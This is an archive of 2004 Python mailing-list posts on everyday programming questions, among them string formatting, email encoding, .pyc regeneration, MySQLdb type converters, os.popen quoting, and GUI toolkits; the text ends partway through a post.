Sungshik Kong" wrote in message > news:ZFq1d.15197$QJ3.11816 at newssvr21.news.prodigy.com... > > Hello, group! > > > > > > >>> di={} > > >>> di["test"]=None > > >>> s="%(test)s" % di > > >>> s > > 'None' > > > > > > I want the result to be just empty string when the dictionary value is > None. > > Is there a good way? > > > > TIA. > > Sam > > > > > > From pink at odahoda.de Sun Sep 5 16:26:28 2004 From: pink at odahoda.de (Benjamin Niemann) Date: Sun, 05 Sep 2004 22:26:28 +0200 Subject: Problem with quopri in email In-Reply-To: References: Message-ID: Dieter Maurer wrote: > Benjamin Niemann writes on Fri, 03 Sep 2004 18:00:50 +0200: > >>I just sent a newsletter (HTML with s) using a Python script. >>Looking at the error_log of our web server, I'm seeing lots of 404 >>error for files like >> >>/images/news/f68f57c1c67dc319d84f7c11c8b71b65jpeg >>or >>/images/news/f23a00f8bd912b73b4f63149cc808dbf..jpeg >>(there should be exactly one dot...) >> >>The corresponding parts of the quopri encoded HTML looks like this: >>....>src=3D"http://www.fujinews.de/images/news/f68f57c1c67dc319d84f7c11c8b71b65= >>..jpeg" alt=3D"E550_seitliche_front_flash low res.jpg" vspace=3D"4" hspace= >>=3D"4" border=3D"0" align=3D"left" />... > > > This is not a "quopri" problem but an SMTP problem. > > The SMTP protocol requires that a dot at the beginning of a line > is escaped by doubling (because it uses a line consisting of a > single dot as end of message indicator). Of course, the SMTP reader > is expected to remove this dublicated dot again. > Somehow, your SMTL sender or reader got something wrong with > the handling of a dots at the beginning of a line. Seems to be rather common, as the dots in the quotation above are duplicated, too ;) Wouldn't it then make sense that the quopri encoder encodes a dot at the beginning of a line as =2E ?? In a perfect world not, but obviously we have to live with broken software that we cannot control. At least this pointed me to a possible solution. When I will find the time, I'll try to hack the encoder a bit and see if this fixes the problem. From bokr at oz.net Thu Sep 23 14:10:52 2004 From: bokr at oz.net (Bengt Richter) Date: 23 Sep 2004 18:10:52 GMT Subject: Why not FP for Money? References: Message-ID: On Thu, 23 Sep 2004 09:32:34 -0300, Carlos Ribeiro wrote: [...] > >So, in order to construct a Decimal, I need to write something like: > >>>> a = decimal.Decimal('35.72') >>>> b = decimal.Decimal('1.73') >>>> a+b >Decimal("37.45") > >But I could write it this way (just an example; my proposed notation >is for fixed point, not floating point decimal): > >>>> a = $35.72 >>>> b = $1.73 >>>> a+b >$37.45 > >And it would work. That's nice, clean, and reads quite obviously -- >even if using a symbol as part of the syntax. I'd prefer not to use up '$' for something that specialized. ISTM we already have a precedent with longs: i.e., an L suffix. So why not a D suffix for decimal literals? E.g., a = 35.72D # 35.7200D e.g. would specify greater guaranteed precision b = 1.73D a+b 37.45D Regards, Bengt Richter From jerf at jerf.org Mon Sep 6 11:38:28 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Mon, 06 Sep 2004 15:38:28 GMT Subject: python memory analysis References: <200409061457.50722.alexander.hoffmann@netgenius.de> <20040906150548.GL2220@zoran.com> Message-ID: On Mon, 06 Sep 2004 16:51:09 +0200, Alexander Hoffmann wrote: > You probably mean to utilize gc.get_objects and build some kind of statics > upon it, don't you ? > Ok, so this means there is indeed no tool which will help me with that ? :-( > > -alex So far, every time I've had a memory leak in Python, simply running the process until it leaks for a while, then looking at gc.get_objects(), has made it immediately clear what was being leaked. (Regretfully, I have never been able to isolate a test case for any of these leaks.) You usually see a bajillion instances of some class and that has always been enough of a clue. Due to how Python works, I'm not sure it is even possible to create a tool that does any better than that. It is meaningful to talk about a C function that "leaks memory" by allocating and never deallocating, but it is much trickier to assign "blame" in Python in a way that could ever have meaning to a tool. If the object is left lying around it is already because the computer believes somebody has a reference to it; how is the computer to "know" this reference isn't "real"? (Assuming no bugs in Python of course, but even so you're left with the same problem.) From joewong at mango.cc Tue Sep 28 03:42:25 2004 From: joewong at mango.cc (Joe Wong) Date: Tue, 28 Sep 2004 15:42:25 +0800 Subject: Access to MS SQL from Linux? References: <002501c4a14b$77fe4c30$7f00a8c0@scl01.siliconcreation.com><4a0cafe204092320524141f844@mail.gmail.com> <01c301c4a1ec$bed1f0c0$7f00a8c0@scl01.siliconcreation.com> Message-ID: <07ab01c4a52e$b384a5b0$7f00a8c0@scl01.siliconcreation.com> Hi there, I still don't know what cause the error, I commented out the following line: def _servermsg_cb(ctx, conn, msg): # if msg.msgnumber not in (5701, 5703): # raise DatabaseError(_fmt_server(msg)) pass No error is created and operations seems running ok. ----- Original Message ----- From: "Joe Wong" To: "Josh Close" ; "PYTHON" Sent: Friday, September 24, 2004 12:12 PM Subject: Re: Access to MS SQL from Linux? > Hi Josh, > > I haven't yet go to study the details, will let you know as soon as I get > more details for you. :) > > - Joe > > ----- Original Message ----- > From: "Josh Close" > To: "PYTHON" > Sent: Friday, September 24, 2004 11:52 AM > Subject: Re: Access to MS SQL from Linux? > > > > On Thu, 23 Sep 2004 16:58:16 +0800, Joe Wong wrote: > > > Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 > > > > > > I am using MSSQL 2000 server, is this a problem? > > > > > > > What is your code for Sybase? I have it working just fine, and it's > > the best module I've found that's free. > > > > Freetds is a complete pile though. I run into freedtds errors > > constantly..... I think the problem is actually mssql, and freetds > > can't handle all the crazy random things it does to prevent non-M$ > > products from using it....... oh well. > > > > -Josh > > -- > > http://mail.python.org/mailman/listinfo/python-list > > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 > > -- > http://mail.python.org/mailman/listinfo/python-list > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/23 From aleaxit at yahoo.com Fri Sep 10 02:27:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 08:27:44 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> Message-ID: <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> Pierre Fortin wrote: ... > I was hoping to use the likes of: "%(key)*.*f" % map > however, unlike with the non-(key) formats, there appears to be no way to > specify a "*.*" size when a map is used... It is not clear to me where you would expect to get the values for those stars from -- 'map' being a dictionary it has no concept of "ordering", so there is no concept of "next value" after map['key']. If I had this kind of problem I would doubtlessly tack it with _two_ formattings, first one to get the values for the stars (with explicit names), giving a clean format string, then another to get the value for the data. Say: '%%(key)%(width)d.%(prec)df' % map % map Not all that readable, alas. Alternatively, you could use a non-keyed format string and extract things from the map on the RHS...: '%*.*f' % [map[x] for x in ('key', 'width', 'prec')] I personally consider this a bit more readable, but that's quite debatable, of course... Alex From rnd at onego.ru Thu Sep 9 06:41:26 2004 From: rnd at onego.ru (Roman Suzi) Date: Thu, 9 Sep 2004 14:41:26 +0400 (MSD) Subject: Is it an error in email.Header? Message-ID: I was using Python module email.Header to decode headers and encountered problems with some of the headers. One example is given below: Python 2.3.4 (#1, May 27 2004, 15:48:35) [GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-5)] on linux2 >>> import email.Header >>> email.Header.decode_header('''=?koi8-r?B?Qm9va3MuUnUgLSDOz9fZyiDTwcrULCDOz9fZxSDTy8nEy8k?= =?koi8-r?B??=''') Traceback (most recent call last): File "", line 1, in ? File "/var/tmp/python2.3-2.3.4-root/usr/lib/python2.3/email/Header.py", line 113, in decode_header email.Errors.HeaderParseError While mailers decode Subject just fine... Is it a case of some standard deviation? Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From mauriceling at acm.org Thu Sep 30 19:09:16 2004 From: mauriceling at acm.org (Maurice LING) Date: Thu, 30 Sep 2004 23:09:16 GMT Subject: embedding python in python In-Reply-To: <415b415e$1@news.unimelb.edu.au> References: <415a7f0b$1@news.unimelb.edu.au> <4b39d922.0409290938.42c68ca4@posting.google.com> <415b415e$1@news.unimelb.edu.au> Message-ID: <415c921b$1@news.unimelb.edu.au> Hi, Sorry, I have another problem here. Given this snipplet, >>> def b(s): ... exec(s) ... exec('print "x= " + str(x)') ... >>> b('x = 10') x= 10 >>> >>> print x Traceback (most recent call last): File "", line 1, in ? NameError: name 'x' is not defined >>> Clearly, all the objects that were declared using exec() in function b went out of scope, is there anyway to prevent this from happening? What I really need is this, for example, in a class, 1. a function to initialize a set of objects 2. a function which carries commands to act on the object (unknown at compile time) 3. a function to read the values of the set of objects So, if the objects went out of scope after leaving (1), then I am rather screwed when I'm in (2). Any remedies? Thanks Maurice From FBatista at uniFON.com.ar Fri Sep 3 13:47:00 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 3 Sep 2004 14:47:00 -0300 Subject: Problem with 2.4(alpha3) Message-ID: [Will McGugan] #- After installing the lastest alpha, on Win 2k, I found that #- my scripts #- no longer worked. It turns out that the .py file assocations had the #- switches -n and -e set for 'open'. pyhton.exe was reporting unkown #- option for these switches. I removed them and it seems to #- have fixed it. #- #- Is there a problem with the installer, or some other issue when #- installing 2.4 over 2.3.4? Exactly the same problem, and the same solution. I'm on Win 2k, SP 4. I previously had Py2.3.4 and Py2.4a2. When installed Py2.4a3 (over a2) found this problem. So I uninstalled Py2.4 and reinstalled it again (this time, of course, was not over Py2.4a2). And still the same problem. Corrected the file type association, and I'm OK, with the exception that I don't have "Open with IDLE" in the context menu! . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From jacek.generowicz at cern.ch Wed Sep 29 03:02:59 2004 From: jacek.generowicz at cern.ch (Jacek Generowicz) Date: 29 Sep 2004 09:02:59 +0200 Subject: Metaclass with name overloading. References: <1gktv1h.lew418131v342N%aleaxit@yahoo.com> Message-ID: Carlos Ribeiro writes: > On 28 Sep 2004 21:07:27 GMT, Bengt Richter wrote: [...] > > For a language that plays well both ways, I would try scheme or > > lisp, I think. [...] > The ability to write intelligent, complex, hierarchic data > structures seamlessly intermingled with code. Yes, this is one of the great advantages of Lisp ... and has been for about four decades. From greg at cosc.canterbury.ac.nz Thu Sep 9 02:06:17 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 09 Sep 2004 18:06:17 +1200 Subject: Proto-PEP: Overloadable Boolean Operators In-Reply-To: References: <413AEEF9.7060102@cosc.canterbury.ac.nz> <1gjoona.1wi66yc18ysjk0N%aleaxit@yahoo.com> <2q4s80Fr7lqtU1@uni-berlin.de> Message-ID: <2qaa6pFt9ltbU1@uni-berlin.de> Andrew Durdin wrote: > I'm not at a machine with the patch installed on it at the moment, but > I just began to whether this patch would have an effect on expressions > like (a < b < c) No, it won't have any effect on those. I don't think it should, either -- it should only apply when you explicitly write an 'and'. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From ej Tue Sep 28 17:24:56 2004 From: ej (Erik Johnson) Date: Tue, 28 Sep 2004 15:24:56 -0600 Subject: execl() and inheritied streams References: <4159b1d6$1@nntp.zianet.com> Message-ID: <4159d561$1@nntp.zianet.com> Thanks for your kind and helpful reply, Donn! :) -ej "Donn Cave" wrote in message news:donn-209231.13080428092004 at gnus01.u.washington.edu... > sys.stdin etc. are objects that live in the Python interpreter. > Basically, they're a buffer plus a file descriptor, plus some > functions. Similar to the C stdio FILE object, which in fact > is underneath the Python fileobject. > > Objects in interpreter memory space do not survive an exec. > You want to remap the standard UNIX file descriptors 0 (input), > 1 (output) and 2 (error). They are the system level I/O streams > that will survive exec. > > Like, > fd = os.open(filename, os.O_WRONLY|os.O_CREAT) > os.dup2(fd, 1) > os.dup2(fd, 2) > os.close(fd) > > os.execve(... From temi at MIT.EDU Wed Sep 29 08:15:48 2004 From: temi at MIT.EDU (Temitope Sonuyi) Date: Wed, 29 Sep 2004 08:15:48 -0400 Subject: How to install pyGTK(2) Message-ID: <200409291215.i8TCFrjc002772@melbourne-city-street.mit.edu> Did you ever figure out this problem? If so could you let me know what you did I am at the same place and am very frustrated. :-) thanks, -Temi -------------- next part -------------- An HTML attachment was scrubbed... URL: From erik at heneryd.com Mon Sep 27 10:28:07 2004 From: erik at heneryd.com (Erik Heneryd) Date: Mon, 27 Sep 2004 16:28:07 +0200 Subject: open and shut case In-Reply-To: <41582214.1080708@heneryd.com> References: <41582214.1080708@heneryd.com> Message-ID: <41582377.9010800@heneryd.com> Erik Heneryd wrote: > Dennis Lee Bieber wrote: > >> On Sun, 26 Sep 2004 16:55:48 GMT, "Elaine Jackson" >> declaimed the following in >> comp.lang.python: >> >> >>> "Cameron Laird" wrote in message >>> news:nf1i22-7hd.ln1 at lairds.us... >>> | Did this [some snipped code] meet your needs, Ms. Jackson? >>> >>> Here's what it does: >>> >>> >>>>>> import os, win32api >>>>>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", >>> >>> >>> "iexplore.exe",r"c:\blabla\hej.html") >>> >>> Traceback (most recent call last): >>> File "", line 1, in -toplevel- >>> pid = os.spawnlp(os.P_NOWAIT, "iexplore.exe", >>> "iexplore.exe",r"c:\blabla\hej.html") >>> AttributeError: 'module' object has no attribute 'spawnlp' >>> >> >> >> It seems the spawn family doesn't have the "search in PATH" >> option... os.execlp does exist, but likely doesn't do what you want >> either... >> > > It does, see http://docs.python.org/lib/os-process.html. > exec* replaces the current process, so you can't use that if you expect > it to return. I can't see why my code shouldn't work (though I'm not on > a Windows box so I can't test it). Forget about it. I just actually read the spawn* docs: Availability: Unix, Windows. spawnlp(), spawnlpe(), spawnvp() and spawnvpe() are not available on Windows. New in version 1.6. Erik From adalke at mindspring.com Sat Sep 4 13:55:49 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 04 Sep 2004 17:55:49 GMT Subject: list conversion question In-Reply-To: <4dm_c.14418$Dl4.8835@fe2.texas.rr.com> References: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com> <4dm_c.14418$Dl4.8835@fe2.texas.rr.com> Message-ID: Paul McGuire wrote: > Probably the fastest way to do this (since we are tweaking for > speed) would be to just change the pairs list comp to "pairs = [(-value, > offset) for (offset, value) in enumerate(hist)]", or your Py 2.4 key clause > from "key=lambda pair: pair[1]" to "key=lambda pair: -pair[1]". Ahh, right. The new Python2.4 'sorted' also has a "reversed" flag, so >>> hist = [ 0, 1, 0, 5, 43 ] >>> [pair[0] for pair in sorted(enumerate(hist), ... key=lambda pair: pair[1], ... reverse=True)] [4, 3, 1, 0, 2] >>> This isn't the same as as reverse() after the sort(), pairs = [(value, offset) for (offset, value) in enumerate(hist)] pairs.sort() indexes = [offset for (value, offset) in pairs] indexes.reverse() or list(reversed([pair[0] for pair in sorted(enumerate(hist), key=lambda pair: pair[1])])) Both of these give [4, 3, 1, 2, 0] The difference is that sort is now a guaranteed stable sort. Using 'reverse=True' means the index to the first 0 (at index 0) appears before the index to the seond 0 (at index 2). Using reverse() or reversed() flips that direction. Andrew dalke at dalkescientific.com which would give [0, 2, 1, 3, 4] Andrew From rff_rff at remove-yahoo.it Wed Sep 1 16:54:45 2004 From: rff_rff at remove-yahoo.it (gabriele renzi) Date: Wed, 01 Sep 2004 20:54:45 GMT Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: References: 35.python-list@python.org> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> Message-ID: Peter Kleiweg ha scritto: > pycs.org doesn't seem to exist. > works for me, maybe dns propagation biting you? From clifford.wells at comcast.net Mon Sep 13 16:25:56 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 13 Sep 2004 13:25:56 -0700 Subject: wxfont color? In-Reply-To: References: Message-ID: <1095107156.26967.67.camel@devilbox.devilnet.internal> On Mon, 2004-09-13 at 07:59 -0700, Justin wrote: > Does anybody know the syntax to change the color of a wxfont. > Can it be done without the more advanced encoding paramater? You don't change the color of the font, you change the foreground color of the control utilizing the font. You might also be interested in wx.FancyText (see the demo). Regards, Cliff -- Cliff Wells From ben at benlast.com Tue Sep 28 01:47:05 2004 From: ben at benlast.com (Ben Last) Date: Tue, 28 Sep 2004 06:47:05 +0100 Subject: Invalid Literal from MySQLdb Query In-Reply-To: Message-ID: > From Wesley Kincaid > I'm attempting to run a simple query through MySQLdb's > cursor.execute(). However, when the request includes a timestamp > field, I'm getting "ValueError: invalid literal for int(): 9-." If this is the same issue I encountered, I believe that the root issue is that the MySQLdb module is attempting to convert the timestamp to an appropriate Python type, choosing int as that type and then discovering that the value of the timestamp won't convert. This may be a version issue with MySQLdb and MySQL. However, you can tell MySQLdb explicitly how to convert types. This is a snippet of Quasi code (http://quasi-shell.sourceforge.net): import MySQLdb.converters, MySQLdb.constants.FIELD_TYPE ##snipped code... #As per the MySQLdb comments, *copy* the exting converters dict. conversions = copy.copy(MySQLdb.converters.conversions) #Use our own converters for Unicode/String conversions[types.UnicodeType] = Unicode2Str conversions[MySQLdb.constants.FIELD_TYPE.STRING] = Str2Unicode conversions[MySQLdb.constants.FIELD_TYPE.VAR_STRING] = Str2Unicode #Deal with timestamps in a more rational way than forcing to int conversions[MySQLdb.constants.FIELD_TYPE.TIMESTAMP] = TSHandler #Install these for this connection dargs['conv'] = conversions QuasiSQL.sqlConnection = MySQLdb.connect(**dargs) ##snipped code.... def TSHandler(s): """Convert a TIMESTAMP type to something sensible.""" #Depending on the version of MySQLdb, TIMESTAMPs can come #in a variety of formats. Rather than check them carefully, #we cope with the MySQLdb >= 4.1 standard and allow failures #to result in a string. try: #Assume it's expressed in MySQL standard form return time.mktime(time.strptime(s,'%Y-%m-%d %H:%M:%S')) except ValueError: pass return str(s) Incidentally, I'm not suggesting this is the best solution, but it demonstrates how you can force type conversions in MySQLdb. In my case, this sufficed and will be expanded to a more general solution later ;) demonstratively yours, ben From davidf at sjsoft.com Thu Sep 30 12:10:35 2004 From: davidf at sjsoft.com (David Fraser) Date: Thu, 30 Sep 2004 18:10:35 +0200 Subject: Avoiding shell metacharacters in os.popen In-Reply-To: References: Message-ID: Nick Craig-Wood wrote: > I'm trying to avoid using shell metacharacters in os.popen in a portable > fashion. > > os.popen() only seems to take a string as the command which would need > tricky quoting. > > os.popen2() can take a string or a list - the relevant code in Unix > python (in popen2.py) being... > > def _run_child(self, cmd): > if isinstance(cmd, basestring): > cmd = ['/bin/sh', '-c', cmd] > for i in range(3, MAXFD): > try: > os.close(i) > except OSError: > pass > try: > os.execvp(cmd[0], cmd) > finally: > os._exit(1) > > This is perfect behaviour as far as I'm concerned - if you pass a list > it doesn't go through the shell and if you pass a string it does. > > eg > > w, r = os.popen2(["ls", "-l"]) > r.read() > > This leads on to my questions :- > > 1) is this behaviour (string vs list) of popen2 intentional? Its not > documented anywhere and it doesn't work under Windows (gives > "TypeError: popen2() argument 1 must be string, not list") > > 2) is there anything similar for os.popen() planned? > > 3) is there an equivalent to the perl quotemeta() command. This > quotes meta-characters in a string for use in the shell. Here is a > suitable definition for Unix, but I don't think that \ quoting works > in Windows > > cmd = re.sub(r"(\W)", r"\\\1", cmd) > > Avoiding shell metacharacter attacks is a must for secure programs. > Python does pretty well with its os.exec* and os.spawn* functions, but > seems to be lacking in the os.popen* department! > > Any insights appreciated! > I can't exactly remember the details but I now I've had painful experiences on Windows trying to do this kind of thing. It seems to mess up quoting parameters / exe file names David From fredrik at pythonware.com Sun Sep 12 15:37:46 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 Sep 2004 21:37:46 +0200 Subject: 'telegraphy' as a means of data entry References: <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> Message-ID: "Peter Hansen wrote: >> also note that unlike Peter's example, the time attribute contains >> the time when the event was generated, not when it reached your >> program. > > My example didn't show the time at all. and you probably didn't write "you would be able to use time.time() or time.clock() to record the times of the keypresses" either. must be a bug in my newsreader; sorry for that. From jmeile at hotmail.com Wed Sep 22 14:08:27 2004 From: jmeile at hotmail.com (Josef Meile) Date: Wed, 22 Sep 2004 20:08:27 +0200 Subject: Check for keystroke In-Reply-To: References: Message-ID: <4151bae2@pfaff2.ethz.ch> Hi Brian, I saw an example on pyserial called "miniterm.py". It was about doing a text based chat between two computers connected with through the serial port. It is made with threads, so you can do something else while it waits for characters from the keyboard. When a key is pressed, then it is echoed to the console. I think you can easilly remove the serial stuff and do the check you need. Here is the link: http://cvs.sourceforge.net/viewcvs.py/pyserial/pyserial/examples/miniterm.py Regards, Josef Brian wrote: > Inside a loop, I need to passively check to see if a key is pressed or not > without pausing like raw_input does. Some pseudocode: > > While true: > If a key is pressed > which key is pressed > > do other stuff inside loop > > > Google groups turned up this thread: > > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&safe=off&th= > 3221aa1ee6ef2ec2&seekm=2259b0e2.0307310800.3310ec83% > 40posting.google.com&frame=off > > TinyURL: http://tinyurl.com/4chqh > > > But neither the pygame or curses solution worked. Any new thoughts on > this? From steve at holdenweb.com Thu Sep 30 08:36:09 2004 From: steve at holdenweb.com (Steve Holden) Date: Thu, 30 Sep 2004 08:36:09 -0400 Subject: constructing binary backslash-n In-Reply-To: References: <1f7befae04092919484211a3bb@mail.gmail.com> <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> Message-ID: Bengt Richter wrote: > On Thu, 30 Sep 2004 00:27:17 -0400, Tim Peters wrote: > [...] > >>The only letters that have special meaning after a backslash are: >> >>a b f n r t v x > > > Hm, why aren't they all used by repr? E.g., > > >>> list('\a\b\f\n\r\t\v\x00') > ['\x07', '\x08', '\x0c', '\n', '\r', '\t', '\x0b', '\x00'] > > Regards, > Bengt Richter Probably the best question of the thread. And the answer is "probably because nobody would recognize the escapes". regards Steve From tdelaney at avaya.com Tue Sep 21 17:57:36 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Wed, 22 Sep 2004 07:57:36 +1000 Subject: New to Python Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com> Jimmie Webb wrote: > Gee whiz. Don't jump down my throat for some oversite. It's not > like I haven't put forth an effort trying to find out the problem > before posting! Yeah, your right I was reading the "CREATE TABLE > line out of the SIL file. Thanks (I think) http://www.catb.org/~esr/faqs/smart-questions.html As far as anyone could see, you didn't do even the most basic debugging. Tim Delaney From wilkSPAM at OUTflibuste.net Wed Sep 22 04:39:53 2004 From: wilkSPAM at OUTflibuste.net (Wilk) Date: Wed, 22 Sep 2004 10:39:53 +0200 Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> Message-ID: <878yb2elye.fsf@blakie.riol> Fred writes: > On Tue, 21 Sep 2004 07:01:00 -0400, "RPM1" > wrote: >>I do notice though that when I try to convince a co-worker to try Python, >>the thing that seems to be the biggest turn off is the lack of an IDE with a >>GUI designer included standard > > I agree. Once you're used to the productivity of Delphi or VB, it's a > big turn-off to have to go back to building GUI's by hand, and What do you mean "by hand" ? When you must use a mouse to make a gui, you use your hand, but when you code a gui you use your head... Finaly if you code the gui, you can reuse it and so don't need more any hand or head for this. > shipping the 3MB DLL for wxWidgets is an extra reason why newbies > might give up on another excellent tool. Too bad Guido et al. didn't > take the GUI part into consideration earlier. Guido took the GUI part in consideration when he decide that it's better to let python as a langage and let people decide which library they want, wich ide they prefer... The mistake of java was to decide that they will do everything even the gui (swing), since, everybody say that java is slow even if the langage is very fast... Don't forget that there is a lot of developers who don't need any gui, or need a very specific gui. But every developers need python the langage and the standard lib... I encourage people to look at web application ;-) > > But then, maybe someone will come up with a good IDE + GUI designer as > part of the .Net shebbang. There are, it's just to choose... -- Wilk - http://flibuste.net From adalke at mindspring.com Thu Sep 2 17:36:23 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 02 Sep 2004 21:36:23 GMT Subject: .pyc files?? In-Reply-To: <10jf24s8q1dgu89@corp.supernews.com> References: <938a4680.0409011626.3b047658@posting.google.com> <5pGdnSW_EZQl6avcRVn-jg@powergate.ca> <10jf24s8q1dgu89@corp.supernews.com> Message-ID: [on when .pyc files are regenerated from .py files] The .pyc file contains the modification timestamp in the file itself. It's this embedded timestamp which is used to check if the .py needs to be rebuilt, and not a comparison of the respective timestamps for the file. (Surprised me, I also thought it was the latter.) The code is in dist/src/Python/import.c. See check_compiled_module, which checks the first long as the magic number then the second long for the timestamp to use to compare with the mtime of the .py file. Here's a way to test it: # Create a simple Python file % rm spam.py* % cat > spam.py 1 % python Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import spam >>> % ls -l spam.py* -rw-r--r-- 1 dalke staff 2 2 Sep 15:23 spam.py -rw-r--r-- 1 dalke staff 96 2 Sep 15:23 spam.pyc % # Let's gets some information about the .pyc % sum spam.pyc 16387 1 spam.pyc % od -c spam.pyc 0000000 c 362 \r \n ? 217 7 A c \0 \0 \0 \0 \0 \0 \0 0000020 \0 001 \0 \0 \0 @ \0 \0 \0 s \b \0 \0 \0 d \0 0000040 \0 001 d 001 \0 S ( 002 \0 \0 \0 i 001 \0 \0 \0 0000060 N ( \0 \0 \0 \0 ( \0 \0 \0 \0 ( \0 \0 \0 \0 0000100 ( \0 \0 \0 \0 t 007 \0 \0 \0 s p a m . p 0000120 y t 001 \0 \0 \0 ? 001 \0 \0 \0 s \0 \0 \0 \0 0000140 % # modify the mtime for the .py file % touch spam.py % python Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import spam >>> % ls -l spam.py* -rw-r--r-- 1 dalke staff 2 2 Sep 15:23 spam.py -rw-r--r-- 1 dalke staff 96 2 Sep 15:23 spam.pyc % # any changes? Looks like it. % sum spam.pyc 21410 1 spam.pyc % od -c spam.pyc 0000000 c 362 \r \n \ 217 7 A c \0 \0 \0 \0 \0 \0 \0 0000020 \0 001 \0 \0 \0 @ \0 \0 \0 s \b \0 \0 \0 d \0 0000040 \0 001 d 001 \0 S ( 002 \0 \0 \0 i 001 \0 \0 \0 0000060 N ( \0 \0 \0 \0 ( \0 \0 \0 \0 ( \0 \0 \0 \0 0000100 ( \0 \0 \0 \0 t 007 \0 \0 \0 s p a m . p 0000120 y t 001 \0 \0 \0 ? 001 \0 \0 \0 s \0 \0 \0 \0 0000140 % # the difference was the '?' turned to a '\' in the 5th byte. # That probably indicates a difference of 29 seconds. # Now modify the .pyc's mtime % touch 01010101 spam.pyc % ls -l spam.py* -rw-r--r-- 1 dalke staff 2 2 Sep 15:23 spam.py -rw-r--r-- 1 dalke staff 96 1 Jan 2004 spam.pyc % python Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import spam >>> % # Notice, no change to the .pyc file. Its mtime is ignored # and the .pyc is not rebuilt. % ls -l spam.py* -rw-r--r-- 1 dalke staff 2 2 Sep 15:23 spam.py -rw-r--r-- 1 dalke staff 96 1 Jan 2004 spam.pyc % sum spam.pyc 21410 1 spam.pyc % # Another way to see it is with the -v flag to Python. # Again, the mtime for the .pyc is << that of the .py file. # See that the .pyc is used without a recompile. % python -v [... many lines removed ...] Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. import readline # dynamically loaded from /Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/lib-dynload/readline.so >>> import spam # spam.pyc matches spam.py import spam # precompiled from spam.pyc >>> [... many lines removed ...] % # Now tweak the mtime of the .py file and see that # the .pyc is regenerated. % touch spam.py % python -v [... many lines removed ...] Python 2.4a2 (#1, Aug 29 2004, 22:30:12) [GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin Type "help", "copyright", "credits" or "license" for more information. import readline # dynamically loaded from /Library/Frameworks/Python.framework/Versions/2.4/lib/python2.4/lib-dynload/readline.so >>> import spam # spam.pyc has bad mtime import spam # from spam.py # wrote spam.pyc >>> [... many lines removed ...] Andrew dalke at dalkescientific.com From ville at spammers.com Sat Sep 4 11:21:47 2004 From: ville at spammers.com (Ville Vainio) Date: 04 Sep 2004 18:21:47 +0300 Subject: How to actually write a program? References: Message-ID: >>>>> "nick" == Nick Evans writes: nick> have a possably rough idea of how the program will work. You nick> have opened an empty text file and saved it as nick> 'mykewlprogram.py' and now your sitting in front of an empty nick> text file... Now then.... where do I start. Typically, a program reads a bunch of data, crunches it and outputs it. Find a trivial way to get the necessary data into elementary Python data structures like lists, tuples and dicts (many typical programs don't need classes at all). Write a function to process that data, resulting in a bunch of new objects (data structures). pprint.pprint the resulting objects, and after you are satisfied with the output, perform the necessary actions according to the objects. The rest is just chrome. If you are interested in starting with the chrome (a'la VB), check out PythonCard (or Boa constructor, or equivalent). -- Ville Vainio http://tinyurl.com/2prnb From eric_brunel at despammed.com Tue Sep 7 06:54:15 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Tue, 07 Sep 2004 12:54:15 +0200 Subject: ANN: WxInter References: Message-ID: Jeremy Bowers wrote: > On Mon, 06 Sep 2004 15:55:30 -0700, Ed Suominen wrote: > > >>WxInter is a drop-in replacement for TkInter, providing user-transparent >>wxPython-based replacements for each and every part of the Tkinter class >>library. Because wxPython can do anything that the ancient and stagnant >>TkInter can do (but with a themable, modern window appearance), legacy code >>will still run, looking better than ever, 